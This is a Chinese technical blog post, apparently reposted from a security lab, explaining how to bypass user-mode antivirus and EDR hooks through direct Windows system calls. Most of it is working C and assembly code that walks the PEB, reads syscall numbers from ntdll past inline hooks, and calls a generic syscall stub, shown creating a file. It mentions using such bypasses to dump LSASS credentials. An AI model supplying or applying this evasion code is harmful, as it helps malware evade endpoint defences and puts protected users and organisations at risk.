不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

与杀毒软件共处一室的姿势

背景

直接系统调用(Direct System Call)已经是目前主流的绕过Ring3层AV\EDR\沙箱的常用手段,为熟悉掌握该技术,笔者最近对其进行了研究学习,本文结合最近看的各种博客以及遇到问题,总结归纳出一种相对比较友好且通用的Syscall方法。

什么是Direct System Call

请参考[翻译]红队战术:结合直接系统调用和sRDI来绕过AV / EDR
AV/EDR/Sandbox等通常通过Hook ntdll.dll(inline hook)的关键函数,达到对程序调用链的监控。在 Windows NT后,用户态API最后通过syscall指令调用到内核态。

怎么使用

根据ntdll.dll 反编译可以得知,其ntdll.dll的各种NT/ZW类函数实现汇编指令如下
NtFuncXXX PROC
        mov r10, rcx
        mov eax, {syscallId}
        syscall
        ret
NtFuncXXX ENDP
例如通过SYSCALL方式卸载HOOK实现绕过防护软件进行LSASS进程dump的Dumpert项目中,其syscall.asm定义为

方法一

提前根据https://j00ru.vexillium.org/syscalls/nt/64/表,结合RtlGetVersion函数,批量生产汇编代码,具体可以参考

https://github.com/jthuraisamy/SysWhispers,该工具在github上有接近600的Star,最后生成的汇编示例如下:

通过收集各个系统的调用号,结合系统版本,进行条件判断,最后执行syscall

该方式优点:

  1. 能够绕过核心函数监控,应该是最早的一代Direct System Call

该方式缺点

  1. 生成代码较为臃肿;

  2. 由于系统号全部写死,不能适用于后面发布的最新Windows系统

方法二

原文参考https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
整体原理是加载ntdll.dll镜像,通过PE文件读取到导出函数的代码段,然后利用VirtualAlloc将代码段放置在内存中,最后进行函数指针调用。

该方式优点:

  1. 通过读取ntdll.dll的实际代码方式,将ntdll的真实代码进行调用,避免ntdll.dll已被HOOK;

  2. 其它的函数也可以参考,很好的一种绕过HOOK的方法。

该方式缺点:

代码中依然需要VirtualAlloc等函数进行内存的可读可写可执行申请,这部分函数已经被AV/EDR监控。
该方法本质是从磁盘上加载真实的系统函数实现,利用SHELLCODE加载的方式,进行真实函数调用,该方法也是绕过Ring3 Hook比较有效的方式(后面有机会会专门分享一下用户态的Hook绕过,希望大家持续关注Cloud-Penetrating Arrow Lab)。

整合优化

结合上述两种方法,可以尝试通过方法二从ntdll.dll中加载真实的函数实现,利用SYSCALL特有的特征,找到系统版本号,然后通过将系统版本号传递到提前准备好大SYSCALL代码中,以实现动态的SYSCALL调用。

获取函数存根

通过NTDLL.DLL中获取导出函数代码段,具体操作有两种方式

方法一:通过PEB的方式读取已经加载函数地址,其代码如下:

// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
  ULONG Length;
  BOOL Initialized;
  PVOID SsHandle;
  LIST_ENTRY InLoadOrderModuleList;
  LIST_ENTRY InMemoryOrderModuleList;
  LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
  LIST_ENTRY InLoadOrderLinks;
  LIST_ENTRY InMemoryOrderLinks;
  LIST_ENTRY InInitializationOrderLinks;
  PVOID DllBase;
  PVOID EntryPoint;
  ULONG SizeOfImage;
  UNICODE_STRING FullDllName;
  UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
// TODO: 可以使用FuncHash方式,避免字符串
BYTE* GetFunctionStubFromMemory(const CHAR* pszFuncName)
{
  PPEB PebAddress;
  PMY_PEB_LDR_DATA pLdr;
  PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
  PVOID pModuleBase;
  PIMAGE_NT_HEADERS pNTHeader;
  DWORD dwExportDirRVA;
  PIMAGE_EXPORT_DIRECTORY pExportDir;
  PLIST_ENTRY pNextModule;
  DWORD dwNumFunctions;
  USHORT usOrdinalTableIndex;
  PDWORD pdwFunctionNameBase;
  PCSTR pFunctionName;
  UNICODE_STRING BaseDllName;
  DWORD i;
#if defined(_WIN64)
  PebAddress = (PPEB)__readgsqword(0x60);
#else
  PebAddress = (PPEB)__readfsdword(0x30);
#endif
  pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
  pNextModule = pLdr->InLoadOrderModuleList.Flink;
  pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
  // unicode str  WCHAR wszNTDLL[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
  while (pDataTableEntry->DllBase != NULL)
  {
    pModuleBase = pDataTableEntry->DllBase;
    BaseDllName = pDataTableEntry->BaseDllName;
    pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
    dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
    // Get the next loaded module entry
    pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
    // If the current module does not export any functions, move on to the next module.
    if (dwExportDirRVA == 0)
    {
      continue;
    }
    if (wcsicmp(wszNTDLL, (WCHAR*)BaseDllName.Buffer) != 0) {
      continue;
    }
    pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);
    dwNumFunctions = pExportDir->NumberOfNames;
    pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
    for (i = 0; i < dwNumFunctions; i++) {
      pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
      if (stricmp(pFunctionName, pszFuncName) == 0)
      {
        usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
        return (BYTE*)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
      }
      pdwFunctionNameBase++;
    }
  }
  return NULL;
}

方法二:通过读取文件,进行PE文件格式转换,读取到响应的函数地址。

获取系统调用号

通过syscall汇编调用特征,从函数存根处开始读取到系统调用号。由于当前系统上已经存在AV/EDR,从PEB读取的方式函数已经被HOOK,笔者由于使用虚拟机(Parallels Desktop)的缘故,其NtQuerySystemTime已经被虚拟机Agent给Hook了,其函数代码段内存如下图:

一般HOOK代码均是在函数起始地方加入调整指令,因此可以简单的尝试内存匹配特征,提取到系统调用号。
#define NOT_FOUND_SYSCALL_ID -1
#define IS_NOT_FUND(x) (x == NOT_FOUND_SYSCALL_ID)
/*
0x4c,0x8b,0xd1,            //mov r10,rcx0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
0x0f,0x05,                //syscall
0xc3                      //ret
*/
unsigned char SYS_CALL_START_MAGIC[] = {
  0x4c, 0x8b, 0xd1, 0xb8
};
#define SYS_CALL_START_MAGIC_LENGTH 4
#define MAX_SEARCH_LENGTH  24
DWORD MatchSyscallId(BYTE* pData)
{
  // 通过内存搜索的方式绕过HOOK
  // HOOK一般会在函数开始处插入调整指令,通过内存搜索的方式查找到真实的函数位置,并提取SyscallId
  DWORD syscallId = NOT_FOUND_SYSCALL_ID;
  for (int item = 0; item < MAX_SEARCH_LENGTH; item++) {
    if (memcmp((pData + item), &SYS_CALL_START_MAGIC, SYS_CALL_START_MAGIC_LENGTH) == 0) {
      memcpy(&syscallId, (pData + item + 4), sizeof(DWORD));
      break;
    }
  }
  return syscallId;
}

汇编指令

定义proc.asm汇编调用
; syscall
.DATA
  syscallId DWORD 000h
.CODE
SetSyscallId PROC
        mov syscallId, 000h
    mov syscallId, ecx
    ret
SetSyscallId ENDP
DynamicSyscall PROC
        mov r10, rcx
        mov eax, syscallId
        syscall
        ret
DynamicSyscall ENDP
END
定义两个函数和一个变量,SetSyscallId函数对系统调用号进行赋值,DynamicSyscall函数提供统一的Syscall调用。

变量定义

定义asm文件中依赖的外部变量以及引入DynamicSyscall函数
extern "C"
{
  VOID SetSyscallId(DWORD syscallId);
  NTSTATUS WINAPI DynamicSyscall();
}

系统调用号获取

#include <Windows.h>#include "SyscallIdFinder.h"

/*0x4c,0x8b,0xd1,        //mov r10,rcx
0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
0x0f,0x05,          //syscall0xc3            //ret
*/#define SYS_CALL_START_MAGIC_LENGTH 4
unsigned char SYS_CALL_START_MAGIC[] = {
  0x4c, 0x8b, 0xd1, 0xb8
};
#define MAX_SEARCH_LENGTH  24
PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section) {
  return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);}
SyscallIdFinder::SyscallIdFinder()
{
  _m_bImageInit = InitializeImage();
}

SyscallIdFinder::~SyscallIdFinder()
{
  if (_m_pFileData)
  {
    ::HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, _m_pFileData);
    _m_pFileData = NULL;
  }

  if (_m_hFile != INVALID_HANDLE_VALUE && _m_hFile != NULL)
  {
    ::CloseHandle(_m_hFile);
    _m_hFile = NULL;
  }
}

DWORD SyscallIdFinder::GetSyscallIdFromMemeory(const CHAR* pszFuncName)
{
  HMODULE hModule = ::GetModuleHandleA("ntdll.dll");
  unsigned char* pFuncAddr = (unsigned char*)::GetProcAddress(hModule, pszFuncName);
  if (pFuncAddr == NULL) {
    return NOT_FOUND_SYSCALL_ID;
  }
  return MatchSyscallId(pFuncAddr);
}

DWORD SyscallIdFinder::GetSystemIdFromImage(const CHAR* pszFuncName)
{
  if (!_m_bImageInit) {
    return NOT_FOUND_SYSCALL_ID;
  }
  PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)_m_pFileData + *(&_m_pExportDirectory->AddressOfNames), _m_pRDATASection);
  PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)_m_pFileData + *(&_m_pExportDirectory->AddressOfFunctions), _m_pRDATASection);
  BOOL stubFound = FALSE;
  for (size_t i = 0; i < _m_pExportDirectory->NumberOfNames; i++)
  {
    DWORD_PTR functionNameVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)_m_pFileData + addressOfNames[i], _m_pRDATASection);
    LPCSTR functionNameResolved = (LPCSTR)functionNameVA;
    if (strcmp(functionNameResolved, pszFuncName) == 0)
    {
      DWORD_PTR functionVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)_m_pFileData + addressOfFunctions[i + 1], _m_pTEXTSection);
      DWORD syscallId = MatchSyscallId((unsigned char*)functionVA);
      if (syscallId > 0) {        return syscallId;
      }
    }
  }

  return NOT_FOUND_SYSCALL_ID;
}

BOOL SyscallIdFinder::InitializeImage()
{
  _m_pFileData = NULL;
  _m_hFile = CreateFileA("c:\\windows\\system32\\ntdll.dll",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
  if (_m_hFile == NULL || _m_hFile == INVALID_HANDLE_VALUE) {
    return FALSE;
  }
  DWORD fileSize = ::GetFileSize(_m_hFile, NULL);
  _m_pFileData = ::HeapAlloc(GetProcessHeap(), 0, fileSize);
  ::ReadFile(_m_hFile, _m_pFileData, fileSize, &fileSize, NULL);
  PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)_m_pFileData;
  PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)_m_pFileData + dosHeader->e_lfanew);
  DWORD exportDirRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
  PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(imageNTHeaders);
  _m_pTEXTSection = section;
  _m_pRDATASection = section;
  for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
  {
    if (strcmp((CHAR*)section->Name, (CHAR*)".rdata") == 0) {
      _m_pRDATASection = section;
      break;
    }
    section++;
  }
  _m_pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)_m_pFileData + exportDirRVA, _m_pRDATASection);
  return TRUE;}
DWORD SyscallIdFinder::MatchSyscallId(unsigned char* pData)
{
  // bypass inline hook and iat hook
  // Inline hook usually occupies 5 bytes or 7 bytes at the beginning of the function
  // eg. jump xxxx
  DWORD syscallId = NOT_FOUND_SYSCALL_ID;
  for (int item = 0; item < MAX_SEARCH_LENGTH; item++) {
    if (memcmp((pData + item), &SYS_CALL_START_MAGIC, SYS_CALL_START_MAGIC_LENGTH) == 0) {
      memcpy(&syscallId, (pData + item + 4), sizeof(DWORD));
      break;
    }
  }
  return syscallId;
}

从ntdll.dll中根据函数名称动态获取syscalId

动态调用

尝试使用NtCreateFile的方式创建文件,代码调用如下
OBJECT_ATTRIBUTES oa;
HANDLE fileHandle = NULL;
UNICODE_STRING fileName;
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\C:\\test.log");
IO_STATUS_BLOCK osb;
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, 0x00000040, NULL, NULL);
// 通过PEB的方式获取NTDLL.DLL的函数代码段
BYTE* pFuncStub = GetFunctionStubFromMemory((CHAR*)"NtCreateFile");
// 从函数代码段中匹配到系统调用号
DWORD syscallId = MatchSyscallId(pFuncStub);
// 设置系统调用号,此时的汇编代码就是NT函数的实现
SetSyscallId(syscallId);
// 将DynamicSyscall函数指针赋值给定义NtCreateFile函数指针变量
fnNtCreateFile fNtCreateFile = (fnNtCreateFile)DynamicSyscall;
// 进行函数参数传递并调用
NTSTATUS status = fNtCreateFile(&fileHandle,
    FILE_GENERIC_WRITE,
    &oa,
    &osb,
    0,
    FILE_ATTRIBUTE_NORMAL,
    FILE_SHARE_WRITE,
    0x00000005,
    0x00000020,
    NULL, 0);

总结

该方法通过汇编+变量设置+动态读取NTDLL中系统版本号实现动态系统直接调用。

有如下优点:

  1. 兼容性强,不需要将系统调用号写死,兼容性可以有保障;

  2. 通过asm实现代码段,通过改变值进行函数调用;

  3. 从已经加载的DLL中获取系统号,并且考虑了已经被简单HOOK的场景。

待优化点:

  1. 由于汇编指令中全局变量,目前线程不安全,后期可以通过引入外部函数的方式进行加锁或者用户态自行实现;

  2. 函数名称的方式可使用函数Hash的方式,如果自己搞工具,可以自定义一套FastHash算法。

转自:穿云箭安全实验室

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 与杀毒软件共处一室的姿势

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏